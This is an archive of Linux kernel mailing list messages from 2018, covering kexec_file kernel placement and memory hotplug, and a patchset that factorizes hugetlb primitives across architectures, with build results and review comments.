X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Wed, 25 Jul 2018 14:48:13 +0800
Lines: 56
Approved: news@gmane.org
Message-ID: <20180725064813.GI6480@MiWiFi-R3L-srv>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532501183 28352 195.159.176.226 (25 Jul 2018 06:46:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2018 06:46:23 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-kernel@vger
To: Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 25 08:46:15 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fiDYs-0007Aw-OL
	for gln-linux-nvdimm@m.gmane.org; Wed, 25 Jul 2018 08:46:15 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 9F2BB210C1B9B;
	Tue, 24 Jul 2018 23:48:24 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 8BF86209831CF
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 24 Jul 2018 23:48:22 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 0EA97401DEA9;
 Wed, 25 Jul 2018 06:48:21 +0000 (UTC)
Original-Received: from localhost (ovpn-8-27.pek2.redhat.com [10.72.8.27])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 41309111DCE6;
 Wed, 25 Jul 2018 06:48:16 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180723143443.GD18181-2MMpYkNvuYDjFM9bn6wA6Q@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Wed, 25 Jul 2018 06:48:21 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Wed, 25 Jul 2018 06:48:21 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11149 gmane.linux.drivers.devicetree:281171 gmane.linux.kernel.pci:74217 gmane.linux.kernel.input:62116 gmane.linux.ports.parisc:28810 gmane.linux.kernel.kexec:21285 gmane.linux.kernel:2829982 gmane.linux.ports.ppc64.devel:160376
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11149>

On 07/23/18 at 04:34pm, Michal Hocko wrote:
> On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > Kexec has been a formal feature in our distro, and customers owning
> > those kind of very large machine can make use of this feature to speed
> > up the reboot process. On uefi machine, the kexec_file loading will
> > search place to put kernel under 4G from top to down. As we know, the
> > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > it. It may have possibility to not be able to find a usable space for
> > kernel/initrd. From the top down of the whole memory space, we don't
> > have this worry. 
> 
> I do not have the full context here but let me note that you should be
> careful when doing top-down reservation because you can easily get into
> hotplugable memory and break the hotremove usecase. We even warn when
> this is done. See memblock_find_in_range_node

Kexec read kernel/initrd file into buffer, just search usable positions
for them to do the later copying. You can see below struct kexec_segment, 
for the old kexec_load, kernel/initrd are read into user space buffer,
the @buf stores the user space buffer address, @mem stores the position
where kernel/initrd will be put. In kernel, it calls
kimage_load_normal_segment() to copy user space buffer to intermediate
pages which are allocated with flag GFP_KERNEL. These intermediate pages
are recorded as entries, later when user execute "kexec -e" to trigger
kexec jumping, it will do the final copying from the intermediate pages
to the real destination pages which @mem pointed. Because we can't touch
the existed data in 1st kernel when do kexec kernel loading. With my
understanding, GFP_KERNEL will make those intermediate pages be
allocated inside immovable area, it won't impact hotplugging. But the
@mem we searched in the whole system RAM might be lost along with
hotplug. Hence we need do kexec kernel again when hotplug event is
detected.

#define KEXEC_CONTROL_MEMORY_GFP (GFP_KERNEL | __GFP_NORETRY)


struct kexec_segment {
        /*
         * This pointer can point to user memory if kexec_load() system
         * call is used or will point to kernel memory if
         * kexec_file_load() system call is used.
         *
         * Use ->buf when expecting to deal with user memory and use ->kbuf
         * when expecting to deal with kernel memory.
         */
        union {
                void __user *buf;
                void *kbuf;
        };
        size_t bufsz;                                                                                                                             
        unsigned long mem;
        size_t memsz;
};

Thanks
Baoquan

From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Wed, 25 Jul 2018 09:38:57 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <7c187058-12c7-ee2d-3ceb-d17ba94875b8@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180725003428.jsklz7pj4m7lj3m4@pburton-laptop>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532504263 19991 195.159.176.226 (25 Jul 2018 07:37:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2018 07:37:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jhogan@kernel.org, jejb@parisc-linux.org,
        deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Kravetz <mike.kravetz@oracle.com>
To: Paul Burton <paul.burton@mips.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 25 09:37:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fiEMX-0004yj-GE
	for glk-linux-kernel-4@m.gmane.org; Wed, 25 Jul 2018 09:37:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728553AbeGYIuH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 25 Jul 2018 04:50:07 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:58839 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728421AbeGYIuH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 25 Jul 2018 04:50:07 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id AE1A5E0005;
        Wed, 25 Jul 2018 07:39:16 +0000 (UTC)
In-Reply-To: <20180725003428.jsklz7pj4m7lj3m4@pburton-laptop>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2830049 gmane.linux.ports.arm.kernel:665739 gmane.linux.ports.ia64:28956 gmane.linux.ports.mips.general:65647 gmane.linux.ports.parisc:28811 gmane.linux.ports.ppc64.devel:160378 gmane.linux.ports.sh.devel:57244 gmane.linux.ports.sparc:28113 gmane.linux.kernel.cross-arch:45473
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2830049>

Hi Paul,

Thanks for having tested it, I remove mips from my list.

Thanks again,

Alex


On 07/25/2018 02:34 AM, Paul Burton wrote:
> Hi Alexandre,
>
> On Thu, Jul 05, 2018 at 11:07:05AM +0000, Alexandre Ghiti wrote:
>> In order to reduce copy/paste of functions across architectures and then
>> make riscv hugetlb port (and future ports) simpler and smaller, this
>> patchset intends to factorize the numerous hugetlb primitives that are
>> defined across all the architectures.
>>
>> Except for prepare_hugepage_range, this patchset moves the versions that
>> are just pass-through to standard pte primitives into
>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>
>> s390 architecture has not been tackled in this serie since it does not
>> use asm-generic/hugetlb.h at all.
>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>
>> This patchset has been compiled on x86 only.
> For MIPS these look good - I don't see any issues & they pass a build
> test (using cavium_octeon_defconfig which enables huge pages), so:
>
>      Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
>
> Thanks,
>      Paul



From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 05:41:03 +0000
Lines: 110
Approved: news@gmane.org
Message-ID: <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1532583563 795 195.159.176.226 (26 Jul 2018 05:39:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 05:39:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Kravetz <mike.kravetz@oracle.com>
To: Michael Ellerman <mpe@ellerman.id.au>,
        Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 07:39:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fiYzW-0008RD-Qx
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 07:39:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728986AbeGZG41 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 02:56:27 -0400
Original-Received: from relay2-d.mail.gandi.net ([217.70.183.194]:50755 "EHLO
        relay2-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727070AbeGZG41 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 02:56:27 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay2-d.mail.gandi.net (Postfix) with ESMTPSA id 49C9B40005;
        Thu, 26 Jul 2018 05:41:03 +0000 (UTC)
In-Reply-To: <87d0vehx16.fsf@concordia.ellerman.id.au>
Content-Language: fr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831004 gmane.linux.ports.arm.kernel:665975 gmane.linux.ports.ia64:28957 gmane.linux.ports.mips.general:65665 gmane.linux.ports.parisc:28812 gmane.linux.ports.ppc64.devel:160431 gmane.linux.ports.sh.devel:57251 gmane.linux.ports.sparc:28114 gmane.linux.kernel.cross-arch:45482
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831004>

Hi everyone,

This is the result of the build for all arches tackled in this series 
rebased on 4.18-rc6:

arm:
  versatile_defconfig: without huge page OK
  keystone_defconfig: with huge page OK
arm64:
  defconfig: with huge page OK
ia64:
  generic_defconfig: with huge page OK
mips:
  Paul Burton tested cavium octeon with huge page OK
parisc:
  generic-64bit_defconfig: with huge page does not link
  generic-64bit_defconfig: without huge page does not link
  BUT not because of this series, any feedback welcome.
powerpc:
  ppc64_defconfig: without huge page OK
  ppc64_defconfig: with huge page OK
sh:
  dreamcast_defconfig: with huge page OK
sparc:
  sparc32_defconfig: without huge page OK
sparc64:
  sparc64_defconfig: with huge page OK
x86:
  with huge page OK

Alex

On 07/23/2018 02:00 PM, Michael Ellerman wrote:
> Alex Ghiti <alex@ghiti.fr> writes:
>
>> Does anyone have any suggestion about those patches ?
> Cross compiling it for some non-x86 arches would be a good start :)
>
> There are cross compilers available here:
>
>    https://mirrors.edge.kernel.org/pub/tools/crosstool/
>
>
> cheers
>
>> On 07/09/2018 02:16 PM, Michal Hocko wrote:
>>> [CC hugetlb guys - http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]
>>>
>>> On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
>>>> In order to reduce copy/paste of functions across architectures and then
>>>> make riscv hugetlb port (and future ports) simpler and smaller, this
>>>> patchset intends to factorize the numerous hugetlb primitives that are
>>>> defined across all the architectures.
>>>>
>>>> Except for prepare_hugepage_range, this patchset moves the versions that
>>>> are just pass-through to standard pte primitives into
>>>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>>>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>>>
>>>> s390 architecture has not been tackled in this serie since it does not
>>>> use asm-generic/hugetlb.h at all.
>>>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>>>
>>>> This patchset has been compiled on x86 only.
>>>>
>>>> Changelog:
>>>>
>>>> v4:
>>>>     Fix powerpc build error due to misplacing of #include
>>>>     <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>>>     pointed by Christophe Leroy.
>>>>
>>>> v1, v2, v3:
>>>>     Same version, just problems with email provider and misuse of
>>>>     --batch-size option of git send-email
>>>>
>>>> Alexandre Ghiti (11):
>>>>     hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>>>     hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>>>     hugetlb: Introduce generic version of set_huge_pte_at
>>>>     hugetlb: Introduce generic version of huge_ptep_get_and_clear
>>>>     hugetlb: Introduce generic version of huge_ptep_clear_flush
>>>>     hugetlb: Introduce generic version of huge_pte_none
>>>>     hugetlb: Introduce generic version of huge_pte_wrprotect
>>>>     hugetlb: Introduce generic version of prepare_hugepage_range
>>>>     hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>>>     hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>>>     hugetlb: Introduce generic version of huge_ptep_get
>>>>
>>>>    arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>>>    arch/arm/include/asm/hugetlb.h               | 33 +----------
>>>>    arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>>>    arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>>>    arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>>>    arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>>>    arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>>>>    arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>>>    arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>>>    arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>>>>    arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>>>    arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>>>>    arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>>>    arch/x86/include/asm/hugetlb.h               | 72 +----------------------
>>>>    include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>>>>    15 files changed, 143 insertions(+), 384 deletions(-)
>>>>
>>>> -- 
>>>> 2.16.2



From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture primitives
Date: Thu, 26 Jul 2018 21:46:00 +1000
Lines: 14
Approved: news@gmane.org
Message-ID: <87tvomgqyv.fsf@concordia.ellerman.id.au>
References: <20180705110716.3919-1-alex@ghiti.fr> <20180709141621.GD22297@dhcp22.suse.cz> <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr> <75195a7d-3d0f-4e55-92cc-4ad772683c75@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1532605459 21492 195.159.176.226 (26 Jul 2018 11:44:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 11:44:19 +0000 (UTC)
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        "Aneesh Kumar K . V" <aneesh.kumar@linux.ibm.com>
To: Mike Kravetz <mike.kravetz@oracle.com>, Alex Ghiti <alex@ghiti.fr>,
        Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 13:44:12 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fiegl-0005R8-Jd
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 13:44:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729984AbeGZNCr (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 09:02:47 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:45353 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1729882AbeGZNCr (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 09:02:47 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 41bqzx2q9Mz9ryl;
        Thu, 26 Jul 2018 21:46:05 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=ellerman.id.au
In-Reply-To: <75195a7d-3d0f-4e55-92cc-4ad772683c75@oracle.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831273 gmane.linux.ports.arm.kernel:666105 gmane.linux.ports.ia64:28958 gmane.linux.ports.mips.general:65668 gmane.linux.ports.parisc:28813 gmane.linux.ports.ppc64.devel:160434 gmane.linux.ports.sh.devel:57255 gmane.linux.ports.sparc:28116 gmane.linux.kernel.cross-arch:45489
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831273>

Mike Kravetz <mike.kravetz@oracle.com> writes:

> On 07/20/2018 11:37 AM, Alex Ghiti wrote:
>> Does anyone have any suggestion about those patches ?
>
> I only took a quick look.  From the hugetlb perspective, I like the
> idea of moving routines to a common file.  If any of the arch owners
> (or anyone else) agree, I can do a review of the series.

The conversions look pretty good to me. If you want to give it a review
then from my point of view it could go in -mm to shake out any bugs.

cheers


From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
